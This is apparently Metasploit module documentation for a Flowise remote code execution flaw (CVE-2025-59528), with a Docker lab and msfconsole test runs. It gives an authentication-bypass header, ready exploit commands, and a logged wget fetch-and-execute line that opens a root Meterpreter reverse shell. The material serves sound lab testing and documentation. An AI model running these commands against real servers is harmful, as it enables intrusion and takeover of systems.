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Valentin Lobstein 44cf2e309f Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943) with shared mixin, documentation, and Docker Compose setup

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Vulnerable Application

This Metasploit module exploits a Remote Code Execution vulnerability in Flowise versions >= 2.2.7-patch.1 and < 3.0.6. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP) which allows JavaScript code injection in the mcpServerConfig parameter via the convertToValidJSONString function that uses Function('return ' + inputString)(). For versions < 3.0.1, the exploit uses the x-request-from: internal header to bypass authentication when Basic Auth is not configured.

The vulnerability was fixed in version 3.0.6 by replacing Function('return ' + inputString)() with JSON5.parse(inputString).

Authentication Requirements

The authentication behavior differs depending on the Flowise version:

Versions < 3.0.1: The exploit can work unauthenticated if FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables are not configured (uses x-request-from: internal header to bypass authentication). If Basic Auth is configured, credentials are required even with the header.
Versions >= 3.0.1: Authentication via FLOWISE_EMAIL and FLOWISE_PASSWORD is required due to JWT token verification introduced in version 3.0.1.

Setup

Docker Setup

The easiest way to test different versions is using Docker. Use the provided docker-compose-flowise.yml file or create one with the following content:

version: '3.8'

services:
  flowise-2.2.7:
    image: flowiseai/flowise:2.2.7-patch.1
    container_name: flowise-2.2.7
    ports:
      - "3000:3000"
    environment:
      - PORT=3000
    restart: unless-stopped

  flowise-3.0.0:
    image: flowiseai/flowise:3.0.0
    container_name: flowise-3.0.0
    ports:
      - "3001:3000"
    environment:
      - PORT=3000
    restart: unless-stopped

  flowise-3.0.4:
    image: flowiseai/flowise:3.0.4
    container_name: flowise-3.0.4
    ports:
      - "3002:3000"
    environment:
      - PORT=3000
    restart: unless-stopped
    # Note: For Flowise 3.0.4, create user manually via web interface at http://localhost:3002
    # Test credentials: admin@test.com / Test12345!

  flowise-3.0.6:
    image: flowiseai/flowise:3.0.6
    container_name: flowise-3.0.6
    ports:
      - "3003:3000"
    environment:
      - PORT=3000
    restart: unless-stopped

Start all instances: docker compose -f docker-compose-flowise.yml up -d

This will run:

Flowise 2.2.7-patch.1 on port 3000 (unauthenticated, vulnerable)
Flowise 3.0.0 on port 3001 (unauthenticated, vulnerable)
Flowise 3.0.4 on port 3002 (authenticated required, vulnerable)
Flowise 3.0.6 on port 3003 (fixed, not vulnerable)

Testing with Docker Compose

Using the docker-compose.yml above, you can test all versions simultaneously:

Test 2.2.7-patch.1 (port 3000, unauthenticated):

msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3000; check; exploit"

Test 3.0.0 (port 3001, unauthenticated):

msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3001; check; exploit"

Test 3.0.4 (port 3002, authenticated required):

Access http://localhost:3002 and create an admin account with:
- Email: admin@test.com
- Password: Test12345! (must be at least 8 characters, contain uppercase, and special character)
Run:

msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3002; set FLOWISE_EMAIL admin@test.com; set FLOWISE_PASSWORD Test12345!; check; exploit"

Test with Meterpreter (use Docker gateway IP 172.17.0.1):

msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3000; set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp; set LHOST 172.17.0.1; set LPORT 5555; set FETCH_SRVHOST 172.17.0.1; set FETCH_SRVPORT 8081; run"

Test 3.0.6 (port 3003, fixed - should return Safe):

msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3003; check"

Expected: CheckCode::Safe("Version 3.0.6 is not vulnerable")

Verification Steps

Start a vulnerable Flowise instance (see versions above)
Launch msfconsole: use exploit/multi/http/flowise_js_rce
Set RHOSTS and RPORT (default: 3000)
For versions >= 3.0.1, set FLOWISE_EMAIL and FLOWISE_PASSWORD
Run check to verify vulnerability
Set payload and execute: set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit
Verify command execution (e.g., docker exec flowise-2.2.7 ls -la /tmp/test_file)

Options

FLOWISE_EMAIL: Email address for JWT authentication (required for versions >= 3.0.1)
FLOWISE_PASSWORD: Password for authentication (JWT for >= 3.0.1, Basic Auth for < 3.0.1)
FLOWISE_USERNAME: Username for Basic Auth (required if FLOWISE_USERNAME env var is set on target)

Note: For versions < 3.0.1, if Basic Auth is not configured on the target (no FLOWISE_USERNAME/FLOWISE_PASSWORD environment variables), the exploit works unauthenticated using the x-request-from: internal header. If Basic Auth is configured, credentials are required. For versions >= 3.0.1, JWT authentication is always required regardless of Basic Auth configuration. The module uses FETCH_COMMAND WGET by default for meterpreter payloads.

Scenarios

Scenario 1: Unauthenticated Exploit on 2.2.7-patch.1

msf > use exploit/multi/http/flowise_js_rce
msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_js_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/flowise_js_rce) > check
[*] Flowise version detected: 2.2.7.pre.patch.1
[+] 127.0.0.1:3000 - The target appears to be vulnerable. Version 2.2.7.pre.patch.1 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated if basic auth not configured)
msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(multi/http/flowise_js_rce) > set CMD 'id'
CMD => id
msf exploit(multi/http/flowise_js_rce) > exploit
[*] No credentials provided, attempting unauthenticated exploit (may work for versions < 3.0.1)
[*] Command sent successfully (HTTP 200)
[*] Exploit completed, but no session was created.

Scenario 2: Authenticated Exploit on 3.0.4

msf > use exploit/multi/http/flowise_js_rce
msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_js_rce) > set RPORT 3002
RPORT => 3002
msf exploit(multi/http/flowise_js_rce) > set FLOWISE_EMAIL admin@test.com
FLOWISE_EMAIL => admin@test.com
msf exploit(multi/http/flowise_js_rce) > set FLOWISE_PASSWORD Test12345!
FLOWISE_PASSWORD => Test12345!
msf exploit(multi/http/flowise_js_rce) > check
[*] Flowise version detected: 3.0.4
[+] 127.0.0.1:3000 - The target appears to be vulnerable. Version 3.0.4 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (authentication required)
[+] Authentication successful
msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(multi/http/flowise_js_rce) > set CMD 'id'
CMD => id
msf exploit(multi/http/flowise_js_rce) > exploit
[*] Command sent successfully (HTTP 200)
[*] Exploit completed, but no session was created.

Scenario 3: Meterpreter Session on 2.2.7-patch.1

When using meterpreter payloads with Docker, use the Docker gateway IP (172.17.0.1) for both LHOST and FETCH_SRVHOST:

msf > use exploit/multi/http/flowise_js_rce
msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_js_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp
msf exploit(multi/http/flowise_js_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/http/flowise_js_rce) > set LPORT 5555
LPORT => 5555
msf exploit(multi/http/flowise_js_rce) > set FETCH_SRVHOST 172.17.0.1
FETCH_SRVHOST => 172.17.0.1
msf exploit(multi/http/flowise_js_rce) > set FETCH_SRVPORT 8081
FETCH_SRVPORT => 8081
msf exploit(multi/http/flowise_js_rce) > set FetchListenerBindAddress 0.0.0.0
FetchListenerBindAddress => 0.0.0.0
msf exploit(multi/http/flowise_js_rce) > run

[*] Command to run on remote host: wget -qO ./nTQCwuECPCfS http://172.17.0.1:8081/-2XrDKPVG9i7xkemEnh_ug;chmod +x ./nTQCwuECPCfS;./nTQCwuECPCfS&
[*] Fetch handler listening on 0.0.0.0:8081
[*] HTTP server started
[*] Adding resource /-2XrDKPVG9i7xkemEnh_ug
[*] Started reverse TCP handler on 172.17.0.1:5555 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 2.2.7.pre.patch.1
[+] The target appears to be vulnerable. Version 2.2.7.pre.patch.1 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated if basic auth not configured)
[*] No credentials provided, attempting unauthenticated exploit (may work for versions < 3.0.1)
[*] Client 172.18.0.2 requested /-2XrDKPVG9i7xkemEnh_ug
[*] Sending payload to 172.18.0.2 (Wget)
[*] Command sent successfully (HTTP 200)
[*] Meterpreter session 4 opened (172.17.0.1:5555 -> 172.18.0.2:41138) at 2025-11-19 21:58:27 +0100

meterpreter > sysinfo
Computer     : 172.18.0.2
OS           :  (Linux 6.14.0-115036-tuxedo)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

References

CVE-2025-59528
Original exploit: https://github.com/nltt-br
Flowise repository: https://github.com/FlowiseAI/Flowise

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